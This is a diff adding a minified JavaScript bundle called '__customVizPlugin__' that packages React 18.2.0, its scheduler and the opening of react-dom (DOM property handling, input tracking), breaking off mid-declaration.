+var __customVizPlugin__=(function(){var e=Object.defineProperty,t=(e,t)=>()=>(t||(e((t={exports:{}}).exports,t),e=null),t.exports),n=(t,n)=>{let r={};for(var i in t)e(r,i,{get:t[i],enumerable:!0});return n||e(r,Symbol.toStringTag,{value:`Module`}),r},r=t((e=>{var t=Symbol.for(`react.element`),n=Symbol.for(`react.portal`),r=Symbol.for(`react.fragment`),i=Symbol.for(`react.strict_mode`),a=Symbol.for(`react.profiler`),o=Symbol.for(`react.provider`),s=Symbol.for(`react.context`),c=Symbol.for(`react.forward_ref`),l=Symbol.for(`react.suspense`),u=Symbol.for(`react.memo`),d=Symbol.for(`react.lazy`),f=Symbol.iterator;function p(e){return typeof e!=`object`||!e?null:(e=f&&e[f]||e[`@@iterator`],typeof e==`function`?e:null)}var m={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},h=Object.assign,g={};function _(e,t,n){this.props=e,this.context=t,this.refs=g,this.updater=n||m}_.prototype.isReactComponent={},_.prototype.setState=function(e,t){if(typeof e!=`object`&&typeof e!=`function`&&e!=null)throw Error(`setState(...): takes an object of state variables to update or a function which returns an object of state variables.`);this.updater.enqueueSetState(this,e,t,`setState`)},_.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,`forceUpdate`)};function v(){}v.prototype=_.prototype;function y(e,t,n){this.props=e,this.context=t,this.refs=g,this.updater=n||m}var b=y.prototype=new v;b.constructor=y,h(b,_.prototype),b.isPureReactComponent=!0;var x=Array.isArray,S=Object.prototype.hasOwnProperty,C={current:null},w={key:!0,ref:!0,__self:!0,__source:!0};function T(e,n,r){var i,a={},o=null,s=null;if(n!=null)for(i in n.ref!==void 0&&(s=n.ref),n.key!==void 0&&(o=``+n.key),n)S.call(n,i)&&!w.hasOwnProperty(i)&&(a[i]=n[i]);var c=arguments.length-2;if(c===1)a.children=r;else if(1<c){for(var l=Array(c),u=0;u<c;u++)l[u]=arguments[u+2];a.children=l}if(e&&e.defaultProps)for(i in c=e.defaultProps,c)a[i]===void 0&&(a[i]=c[i]);return{$$typeof:t,type:e,key:o,ref:s,props:a,_owner:C.current}}function E(e,n){return{$$typeof:t,type:e.type,key:n,ref:e.ref,props:e.props,_owner:e._owner}}function D(e){return typeof e==`object`&&!!e&&e.$$typeof===t}function O(e){var t={"=":`=0`,":":`=2`};return`$`+e.replace(/[=:]/g,function(e){return t[e]})}var k=/\/+/g;function A(e,t){return typeof e==`object`&&e&&e.key!=null?O(``+e.key):t.toString(36)}function j(e,r,i,a,o){var s=typeof e;(s===`undefined`||s===`boolean`)&&(e=null);var c=!1;if(e===null)c=!0;else switch(s){case`string`:case`number`:c=!0;break;case`object`:switch(e.$$typeof){case t:case n:c=!0}}if(c)return c=e,o=o(c),e=a===``?`.`+A(c,0):a,x(o)?(i=``,e!=null&&(i=e.replace(k,`$&/`)+`/`),j(o,r,i,``,function(e){return e})):o!=null&&(D(o)&&(o=E(o,i+(!o.key||c&&c.key===o.key?``:(``+o.key).replace(k,`$&/`)+`/`)+e)),r.push(o)),1;if(c=0,a=a===``?`.`:a+`:`,x(e))for(var l=0;l<e.length;l++){s=e[l];var u=a+A(s,l);c+=j(s,r,i,u,o)}else if(u=p(e),typeof u==`function`)for(e=u.call(e),l=0;!(s=e.next()).done;)s=s.value,u=a+A(s,l++),c+=j(s,r,i,u,o);else if(s===`object`)throw r=String(e),Error(`Objects are not valid as a React child (found: `+(r===`[object Object]`?`object with keys {`+Object.keys(e).join(`, `)+`}`:r)+`). If you meant to render a collection of children, use an array instead.`);return c}function ee(e,t,n){if(e==null)return e;var r=[],i=0;return j(e,r,``,``,function(e){return t.call(n,e,i++)}),r}function te(e){if(e._status===-1){var t=e._result;t=t(),t.then(function(t){(e._status===0||e._status===-1)&&(e._status=1,e._result=t)},function(t){(e._status===0||e._status===-1)&&(e._status=2,e._result=t)}),e._status===-1&&(e._status=0,e._result=t)}if(e._status===1)return e._result.default;throw e._result}var M={current:null},ne={transition:null},re={ReactCurrentDispatcher:M,ReactCurrentBatchConfig:ne,ReactCurrentOwner:C};e.Children={map:ee,forEach:function(e,t,n){ee(e,function(){t.apply(this,arguments)},n)},count:function(e){var t=0;return ee(e,function(){t++}),t},toArray:function(e){return ee(e,function(e){return e})||[]},only:function(e){if(!D(e))throw Error(`React.Children.only expected to receive a single React element child.`);return e}},e.Component=_,e.Fragment=r,e.Profiler=a,e.PureComponent=y,e.StrictMode=i,e.Suspense=l,e.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=re,e.cloneElement=function(e,n,r){if(e==null)throw Error(`React.cloneElement(...): The argument must be a React element, but you passed `+e+`.`);var i=h({},e.props),a=e.key,o=e.ref,s=e._owner;if(n!=null){if(n.ref!==void 0&&(o=n.ref,s=C.current),n.key!==void 0&&(a=``+n.key),e.type&&e.type.defaultProps)var c=e.type.defaultProps;for(l in n)S.call(n,l)&&!w.hasOwnProperty(l)&&(i[l]=n[l]===void 0&&c!==void 0?c[l]:n[l])}var l=arguments.length-2;if(l===1)i.children=r;else if(1<l){c=Array(l);for(var u=0;u<l;u++)c[u]=arguments[u+2];i.children=c}return{$$typeof:t,type:e.type,key:a,ref:o,props:i,_owner:s}},e.createContext=function(e){return e={$$typeof:s,_currentValue:e,_currentValue2:e,_threadCount:0,Provider:null,Consumer:null,_defaultValue:null,_globalName:null},e.Provider={$$typeof:o,_context:e},e.Consumer=e},e.createElement=T,e.createFactory=function(e){var t=T.bind(null,e);return t.type=e,t},e.createRef=function(){return{current:null}},e.forwardRef=function(e){return{$$typeof:c,render:e}},e.isValidElement=D,e.lazy=function(e){return{$$typeof:d,_payload:{_status:-1,_result:e},_init:te}},e.memo=function(e,t){return{$$typeof:u,type:e,compare:t===void 0?null:t}},e.startTransition=function(e){var t=ne.transition;ne.transition={};try{e()}finally{ne.transition=t}},e.unstable_act=function(){throw Error(`act(...) is not supported in production builds of React.`)},e.useCallback=function(e,t){return M.current.useCallback(e,t)},e.useContext=function(e){return M.current.useContext(e)},e.useDebugValue=function(){},e.useDeferredValue=function(e){return M.current.useDeferredValue(e)},e.useEffect=function(e,t){return M.current.useEffect(e,t)},e.useId=function(){return M.current.useId()},e.useImperativeHandle=function(e,t,n){return M.current.useImperativeHandle(e,t,n)},e.useInsertionEffect=function(e,t){return M.current.useInsertionEffect(e,t)},e.useLayoutEffect=function(e,t){return M.current.useLayoutEffect(e,t)},e.useMemo=function(e,t){return M.current.useMemo(e,t)},e.useReducer=function(e,t,n){return M.current.useReducer(e,t,n)},e.useRef=function(e){return M.current.useRef(e)},e.useState=function(e){return M.current.useState(e)},e.useSyncExternalStore=function(e,t,n){return M.current.useSyncExternalStore(e,t,n)},e.useTransition=function(){return M.current.useTransition()},e.version=`18.2.0`})),i=t(((e,t)=>{t.exports=r()})),a=t((e=>{function t(e,t){var n=e.length;e.push(t);a:for(;0<n;){var r=n-1>>>1,a=e[r];if(0<i(a,t))e[r]=t,e[n]=a,n=r;else break a}}function n(e){return e.length===0?null:e[0]}function r(e){if(e.length===0)return null;var t=e[0],n=e.pop();if(n!==t){e[0]=n;a:for(var r=0,a=e.length,o=a>>>1;r<o;){var s=2*(r+1)-1,c=e[s],l=s+1,u=e[l];if(0>i(c,n))l<a&&0>i(u,c)?(e[r]=u,e[l]=n,r=l):(e[r]=c,e[s]=n,r=s);else if(l<a&&0>i(u,n))e[r]=u,e[l]=n,r=l;else break a}}return t}function i(e,t){var n=e.sortIndex-t.sortIndex;return n===0?e.id-t.id:n}if(typeof performance==`object`&&typeof performance.now==`function`){var a=performance;e.unstable_now=function(){return a.now()}}else{var o=Date,s=o.now();e.unstable_now=function(){return o.now()-s}}var c=[],l=[],u=1,d=null,f=3,p=!1,m=!1,h=!1,g=typeof setTimeout==`function`?setTimeout:null,_=typeof clearTimeout==`function`?clearTimeout:null,v=typeof setImmediate<`u`?setImmediate:null;typeof navigator<`u`&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function y(e){for(var i=n(l);i!==null;){if(i.callback===null)r(l);else if(i.startTime<=e)r(l),i.sortIndex=i.expirationTime,t(c,i);else break;i=n(l)}}function b(e){if(h=!1,y(e),!m)if(n(c)!==null)m=!0,ee(x);else{var t=n(l);t!==null&&te(b,t.startTime-e)}}function x(t,i){m=!1,h&&(h=!1,_(w),w=-1),p=!0;var a=f;try{for(y(i),d=n(c);d!==null&&(!(d.expirationTime>i)||t&&!D());){var o=d.callback;if(typeof o==`function`){d.callback=null,f=d.priorityLevel;var s=o(d.expirationTime<=i);i=e.unstable_now(),typeof s==`function`?d.callback=s:d===n(c)&&r(c),y(i)}else r(c);d=n(c)}if(d!==null)var u=!0;else{var g=n(l);g!==null&&te(b,g.startTime-i),u=!1}return u}finally{d=null,f=a,p=!1}}var S=!1,C=null,w=-1,T=5,E=-1;function D(){return!(e.unstable_now()-E<T)}function O(){if(C!==null){var t=e.unstable_now();E=t;var n=!0;try{n=C(!0,t)}finally{n?k():(S=!1,C=null)}}else S=!1}var k;if(typeof v==`function`)k=function(){v(O)};else if(typeof MessageChannel<`u`){var A=new MessageChannel,j=A.port2;A.port1.onmessage=O,k=function(){j.postMessage(null)}}else k=function(){g(O,0)};function ee(e){C=e,S||(S=!0,k())}function te(t,n){w=g(function(){t(e.unstable_now())},n)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(e){e.callback=null},e.unstable_continueExecution=function(){m||p||(m=!0,ee(x))},e.unstable_forceFrameRate=function(e){0>e||125<e?console.error(`forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported`):T=0<e?Math.floor(1e3/e):5},e.unstable_getCurrentPriorityLevel=function(){return f},e.unstable_getFirstCallbackNode=function(){return n(c)},e.unstable_next=function(e){switch(f){case 1:case 2:case 3:var t=3;break;default:t=f}var n=f;f=t;try{return e()}finally{f=n}},e.unstable_pauseExecution=function(){},e.unstable_requestPaint=function(){},e.unstable_runWithPriority=function(e,t){switch(e){case 1:case 2:case 3:case 4:case 5:break;default:e=3}var n=f;f=e;try{return t()}finally{f=n}},e.unstable_scheduleCallback=function(r,i,a){var o=e.unstable_now();switch(typeof a==`object`&&a?(a=a.delay,a=typeof a==`number`&&0<a?o+a:o):a=o,r){case 1:var s=-1;break;case 2:s=250;break;case 5:s=1073741823;break;case 4:s=1e4;break;default:s=5e3}return s=a+s,r={id:u++,callback:i,priorityLevel:r,startTime:a,expirationTime:s,sortIndex:-1},a>o?(r.sortIndex=a,t(l,r),n(c)===null&&r===n(l)&&(h?(_(w),w=-1):h=!0,te(b,a-o))):(r.sortIndex=s,t(c,r),m||p||(m=!0,ee(x))),r},e.unstable_shouldYield=D,e.unstable_wrapCallback=function(e){var t=f;return function(){var n=f;f=t;try{return e.apply(this,arguments)}finally{f=n}}}})),o=t(((e,t)=>{t.exports=a()})),s=t((e=>{var t=i(),n=o();function r(e){for(var t=`https://reactjs.org/docs/error-decoder.html?invariant=`+e,n=1;n<arguments.length;n++)t+=`&args[]=`+encodeURIComponent(arguments[n]);return`Minified React error #`+e+`; visit `+t+` for the full message or use the non-minified dev environment for full errors and additional helpful warnings.`}var a=new Set,s={};function c(e,t){l(e,t),l(e+`Capture`,t)}function l(e,t){for(s[e]=t,e=0;e<t.length;e++)a.add(t[e])}var u=!(typeof window>`u`||window.document===void 0||window.document.createElement===void 0),d=Object.prototype.hasOwnProperty,f=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,p={},m={};function h(e){return d.call(m,e)?!0:d.call(p,e)?!1:f.test(e)?m[e]=!0:(p[e]=!0,!1)}function g(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case`function`:case`symbol`:return!0;case`boolean`:return r?!1:n===null?(e=e.toLowerCase().slice(0,5),e!==`data-`&&e!==`aria-`):!n.acceptsBooleans;default:return!1}}function _(e,t,n,r){if(t==null||g(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return!1===t;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function v(e,t,n,r,i,a,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=a,this.removeEmptyString=o}var y={};`children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style`.split(` `).forEach(function(e){y[e]=new v(e,0,!1,e,null,!1,!1)}),[[`acceptCharset`,`accept-charset`],[`className`,`class`],[`htmlFor`,`for`],[`httpEquiv`,`http-equiv`]].forEach(function(e){var t=e[0];y[t]=new v(t,1,!1,e[1],null,!1,!1)}),[`contentEditable`,`draggable`,`spellCheck`,`value`].forEach(function(e){y[e]=new v(e,2,!1,e.toLowerCase(),null,!1,!1)}),[`autoReverse`,`externalResourcesRequired`,`focusable`,`preserveAlpha`].forEach(function(e){y[e]=new v(e,2,!1,e,null,!1,!1)}),`allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope`.split(` `).forEach(function(e){y[e]=new v(e,3,!1,e.toLowerCase(),null,!1,!1)}),[`checked`,`multiple`,`muted`,`selected`].forEach(function(e){y[e]=new v(e,3,!0,e,null,!1,!1)}),[`capture`,`download`].forEach(function(e){y[e]=new v(e,4,!1,e,null,!1,!1)}),[`cols`,`rows`,`size`,`span`].forEach(function(e){y[e]=new v(e,6,!1,e,null,!1,!1)}),[`rowSpan`,`start`].forEach(function(e){y[e]=new v(e,5,!1,e.toLowerCase(),null,!1,!1)});var b=/[\-:]([a-z])/g;function x(e){return e[1].toUpperCase()}`accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height`.split(` `).forEach(function(e){var t=e.replace(b,x);y[t]=new v(t,1,!1,e,null,!1,!1)}),`xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type`.split(` `).forEach(function(e){var t=e.replace(b,x);y[t]=new v(t,1,!1,e,`http://www.w3.org/1999/xlink`,!1,!1)}),[`xml:base`,`xml:lang`,`xml:space`].forEach(function(e){var t=e.replace(b,x);y[t]=new v(t,1,!1,e,`http://www.w3.org/XML/1998/namespace`,!1,!1)}),[`tabIndex`,`crossOrigin`].forEach(function(e){y[e]=new v(e,1,!1,e.toLowerCase(),null,!1,!1)}),y.xlinkHref=new v(`xlinkHref`,1,!1,`xlink:href`,`http://www.w3.org/1999/xlink`,!0,!1),[`src`,`href`,`action`,`formAction`].forEach(function(e){y[e]=new v(e,1,!1,e.toLowerCase(),null,!0,!0)});function S(e,t,n,r){var i=y.hasOwnProperty(t)?y[t]:null;(i===null?r||!(2<t.length)||t[0]!==`o`&&t[0]!==`O`||t[1]!==`n`&&t[1]!==`N`:i.type!==0)&&(_(t,n,i,r)&&(n=null),r||i===null?h(t)&&(n===null?e.removeAttribute(t):e.setAttribute(t,``+n)):i.mustUseProperty?e[i.propertyName]=n===null?i.type===3?!1:``:n:(t=i.attributeName,r=i.attributeNamespace,n===null?e.removeAttribute(t):(i=i.type,n=i===3||i===4&&!0===n?``:``+n,r?e.setAttributeNS(r,t,n):e.setAttribute(t,n))))}var C=t.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,w=Symbol.for(`react.element`),T=Symbol.for(`react.portal`),E=Symbol.for(`react.fragment`),D=Symbol.for(`react.strict_mode`),O=Symbol.for(`react.profiler`),k=Symbol.for(`react.provider`),A=Symbol.for(`react.context`),j=Symbol.for(`react.forward_ref`),ee=Symbol.for(`react.suspense`),te=Symbol.for(`react.suspense_list`),M=Symbol.for(`react.memo`),ne=Symbol.for(`react.lazy`),re=Symbol.for(`react.offscreen`),ie=Symbol.iterator;function ae(e){return typeof e!=`object`||!e?null:(e=ie&&e[ie]||e[`@@iterator`],typeof e==`function`?e:null)}var oe=Object.assign,se;function ce(e){if(se===void 0)try{throw Error()}catch(e){var t=e.stack.trim().match(/\n( *(at )?)/);se=t&&t[1]||``}return`
+`+se+e}var le=!1;function ue(e,t){if(!e||le)return``;le=!0;var n=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{if(t)if(t=function(){throw Error()},Object.defineProperty(t.prototype,`props`,{set:function(){throw Error()}}),typeof Reflect==`object`&&Reflect.construct){try{Reflect.construct(t,[])}catch(e){var r=e}Reflect.construct(e,[],t)}else{try{t.call()}catch(e){r=e}e.call(t.prototype)}else{try{throw Error()}catch(e){r=e}e()}}catch(t){if(t&&r&&typeof t.stack==`string`){for(var i=t.stack.split(`
+`),a=r.stack.split(`
+`),o=i.length-1,s=a.length-1;1<=o&&0<=s&&i[o]!==a[s];)s--;for(;1<=o&&0<=s;o--,s--)if(i[o]!==a[s]){if(o!==1||s!==1)do if(o--,s--,0>s||i[o]!==a[s]){var c=`
+`+i[o].replace(` at new `,` at `);return e.displayName&&c.includes(`<anonymous>`)&&(c=c.replace(`<anonymous>`,e.displayName)),c}while(1<=o&&0<=s);break}}}finally{le=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:``)?ce(e):``}function de(e){switch(e.tag){case 5:return ce(e.type);case 16:return ce(`Lazy`);case 13:return ce(`Suspense`);case 19:return ce(`SuspenseList`);case 0:case 2:case 15:return e=ue(e.type,!1),e;case 11:return e=ue(e.type.render,!1),e;case 1:return e=ue(e.type,!0),e;default:return``}}function fe(e){if(e==null)return null;if(typeof e==`function`)return e.displayName||e.name||null;if(typeof e==`string`)return e;switch(e){case E:return`Fragment`;case T:return`Portal`;case O:return`Profiler`;case D:return`StrictMode`;case ee:return`Suspense`;case te:return`SuspenseList`}if(typeof e==`object`)switch(e.$$typeof){case A:return(e.displayName||`Context`)+`.Consumer`;case k:return(e._context.displayName||`Context`)+`.Provider`;case j:var t=e.render;return e=e.displayName,e||=(e=t.displayName||t.name||``,e===``?`ForwardRef`:`ForwardRef(`+e+`)`),e;case M:return t=e.displayName||null,t===null?fe(e.type)||`Memo`:t;case ne:t=e._payload,e=e._init;try{return fe(e(t))}catch{}}return null}function pe(e){var t=e.type;switch(e.tag){case 24:return`Cache`;case 9:return(t.displayName||`Context`)+`.Consumer`;case 10:return(t._context.displayName||`Context`)+`.Provider`;case 18:return`DehydratedFragment`;case 11:return e=t.render,e=e.displayName||e.name||``,t.displayName||(e===``?`ForwardRef`:`ForwardRef(`+e+`)`);case 7:return`Fragment`;case 5:return t;case 4:return`Portal`;case 3:return`Root`;case 6:return`Text`;case 16:return fe(t);case 8:return t===D?`StrictMode`:`Mode`;case 22:return`Offscreen`;case 12:return`Profiler`;case 21:return`Scope`;case 13:return`Suspense`;case 19:return`SuspenseList`;case 25:return`TracingMarker`;case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t==`function`)return t.displayName||t.name||null;if(typeof t==`string`)return t}return null}function me(e){switch(typeof e){case`boolean`:case`number`:case`string`:case`undefined`:return e;case`object`:return e;default:return``}}function he(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()===`input`&&(t===`checkbox`||t===`radio`)}function ge(e){var t=he(e)?`checked`:`value`,n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=``+e[t];if(!e.hasOwnProperty(t)&&n!==void 0&&typeof n.get==`function`&&typeof n.set==`function`){var i=n.get,a=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(e){r=``+e,a.call(this,e)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(e){r=``+e},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function _e(e){e._valueTracker||=ge(e)}function ve(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r=``;return e&&(r=he(e)?e.checked?`true`:`false`:e.value),e=r,e===n?!1:(t.setValue(e),!0)}function ye(e){if(e||=typeof document<`u`?document:void 0,e===void 0)return null;try{return e.activeElement||e.body}catch{return e.body}}function be(e,t){var n=t.checked;return oe({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function xe(e,t){var n=t.defaultValue==null?``:t.defaultValue,r=t.checked==null?t.defaultChecked:t.checked;n=me(t.value==null?n:t.value),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type===`checkbox`||t.type===`radio`?t.checked!=null:t.value!=null}}function Se(e,t){t=t.checked,t!=null&&S(e,`checked`,t,!1)}function Ce(e,t){Se(e,t);var n=me(t.value),r=t.type;if(n!=null)r===`number`?(n===0&&e.value===``||e.value!=n)&&(e.value=``+n):e.value!==``+n&&(e.value=``+n);else if(r===`submit`||r===`reset`){e.removeAttribute(`value`);return}t.hasOwnProperty(`value`)?Te(e,t.type,n):t.hasOwnProperty(`defaultValue`)&&Te(e,t.type,me(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function we(e,t,n){if(t.hasOwnProperty(`value`)||t.hasOwnProperty(`defaultValue`)){var r=t.type;if(!(r!==`submit`&&r!==`reset`||t.value!==void 0&&t.value!==null))return;t=``+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==``&&(e.name=``),e.defaultChecked=!!e._wrapperState.initialChecked,n!==``&&(e.name=n)}function Te(e,t,n){(t!==`number`||ye(e.ownerDocument)!==e)&&(n==null?e.defaultValue=``+e._wrapperState.initialValue:e.defaultValue!==``+n&&(e.defaultValue=``+n))}var Ee=Array.isArray;function De(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i<n.length;i++)t[`$`+n[i]]=!0;for(n=0;n<e.length;n++)i=t.hasOwnProperty(`$`+e[n].value),e[n].selected!==i&&(e[n].selected=i),i&&r&&(e[n].defaultSelected=!0)}else{for(n=``+me(n),t=null,i=0;i<e.length;i++){if(e[i].value===n){e[i].selected=!0,r&&(e[i].defaultSelected=!0);return}t!==null||e[i].disabled||(t=e[i])}t!==null&&(t.selected=!0)}}function Oe(e,t){if(t.dangerouslySetInnerHTML!=null)throw Error(r(91));return oe({},t,{value:void 0,defaultValue:void 0,children:``+e._wrapperState.initialValue})}function ke(e,t){var n=t.value;if(n==null){if(n=t.children,t=t.defaultValue,n!=null){if(t!=null)throw Error(r(92));if(Ee(n)){if(1<n.length)throw Error(r(93));n=n[0]}t=n}t??=``,n=t}e._wrapperState={initialValue:me(n)}}function Ae(e,t){var n=me(t.value),r=me(t.defaultValue);n!=null&&(n=``+n,n!==e.value&&(e.value=n),t.defaultValue==null&&e.defaultValue!==n&&(e.defaultValue=n)),r!=null&&(e.defaultValue=``+r)}function je(e){var t=e.textContent;t===e._wrapperState.initialValue&&t!==``&&t!==null&&(e.value=t)}function N(e){switch(e){case`svg`:return`http://www.w3.org/2000/svg`;case`math`:return`http://www.w3.org/1998/Math/MathML`;default:return`http://www.w3.org/1999/xhtml`}}function Me(e,t){return e==null||e===`http://www.w3.org/1999/xhtml`?N(t):e===`http://www.w3.org/2000/svg`&&t===`foreignObject`?`http://www.w3.org/1999/xhtml`:e}var Ne,Pe=function(e){return typeof MSApp<`u`&&MSApp.execUnsafeLocalFunction?function(t,n,r,i){MSApp.execUnsafeLocalFunction(function(){return e(t,n,r,i)})}:e}(function(e,t){if(e.namespaceURI!==`http://www.w3.org/2000/svg`||`innerHTML`in e)e.innerHTML=t;else{for(Ne||=document.createElement(`div`),Ne.innerHTML=`<svg>`+t.valueOf().toString()+`</svg>`,t=Ne.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function Fe(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var Ie={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Le=[`Webkit`,`ms`,`Moz`,`O`];Object.keys(Ie).forEach(function(e){Le.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),Ie[t]=Ie[e]})});function Re(e,t,n){return t==null||typeof t==`boolean`||t===``?``:n||typeof t!=`number`||t===0||Ie.hasOwnProperty(e)&&Ie[e]?(``+t).trim():t+`px`}function ze(e,t){for(var n in e=e.style,t)if(t.hasOwnProperty(n)){var r=n.indexOf(`--`)===0,i=Re(n,t[n],r);n===`float`&&(n=`cssFloat`),r?e.setProperty(n,i):e[n]=i}}var Be=oe({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Ve(e,t){if(t){if(Be[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(r(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(r(60));if(typeof t.dangerouslySetInnerHTML!=`object`||!(`__html`in t.dangerouslySetInnerHTML))throw Error(r(61))}if(t.style!=null&&typeof t.style!=`object`)throw Error(r(62))}}function He(e,t){if(e.indexOf(`-`)===-1)return typeof t.is==`string`;switch(e){case`annotation-xml`:case`color-profile`:case`font-face`:case`font-face-src`:case`font-face-uri`:case`font-face-format`:case`font-face-name`:case`missing-glyph`:return!1;default:return!0}}var Ue=null;function We(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Ge=null,Ke=null,qe=null;function Je(e){if(e=Pi(e)){if(typeof Ge!=`function`)throw Error(r(280));var t=e.stateNode;t&&(t=Ii(t),Ge(e.stateNode,e.type,t))}}function Ye(e){Ke?qe?qe.push(e):qe=[e]:Ke=e}function Xe(){if(Ke){var e=Ke,t=qe;if(qe=Ke=null,Je(e),t)for(e=0;e<t.length;e++)Je(t[e])}}function Ze(e,t){return e(t)}function Qe(){}var $e=!1;function et(e,t,n){if($e)return e(t,n);$e=!0;try{return Ze(e,t,n)}finally{$e=!1,(Ke!==null||qe!==null)&&(Qe(),Xe())}}function tt(e,t){var n=e.stateNode;if(n===null)return null;var i=Ii(n);if(i===null)return null;n=i[t];a:switch(t){case`onClick`:case`onClickCapture`:case`onDoubleClick`:case`onDoubleClickCapture`:case`onMouseDown`:case`onMouseDownCapture`:case`onMouseMove`:case`onMouseMoveCapture`:case`onMouseUp`:case`onMouseUpCapture`:case`onMouseEnter`:(i=!i.disabled)||(e=e.type,i=!(e===`button`||e===`input`||e===`select`||e===`textarea`)),e=!i;break a;default:e=!1}if(e)return null;if(n&&typeof n!=`function`)throw Error(r(231,t,typeof n));return n}var P=!1;if(u)try{var nt={};Object.defineProperty(nt,`passive`,{get:function(){P=!0}}),window.addEventListener(`test`,nt,nt),window.removeEventListener(`test`,nt,nt)}catch{P=!1}function rt(e,t,n,r,i,a,o,s,c){var l=Array.prototype.slice.call(arguments,3);try{t.apply(n,l)}catch(e){this.onError(e)}}var F=!1,I=null,it=!1,at=null,ot={onError:function(e){F=!0,I=e}};function st(e,t,n,r,i,a,o,s,c){F=!1,I=null,rt.apply(ot,arguments)}function L(e,t,n,i,a,o,s,c,l){if(st.apply(this,arguments),F){if(F){var u=I;F=!1,I=null}else throw Error(r(198));it||(it=!0,at=u)}}function R(e){var t=e,n=e;if(e.alternate)for(;t.return;)t=t.return;else{e=t;do t=e,t.flags&4098&&(n=t.return),e=t.return;while(e)}return t.tag===3?n:null}function ct(e){if(e.tag===13){var t=e.memoizedState;if(t===null&&(e=e.alternate,e!==null&&(t=e.memoizedState)),t!==null)return t.dehydrated}return null}function 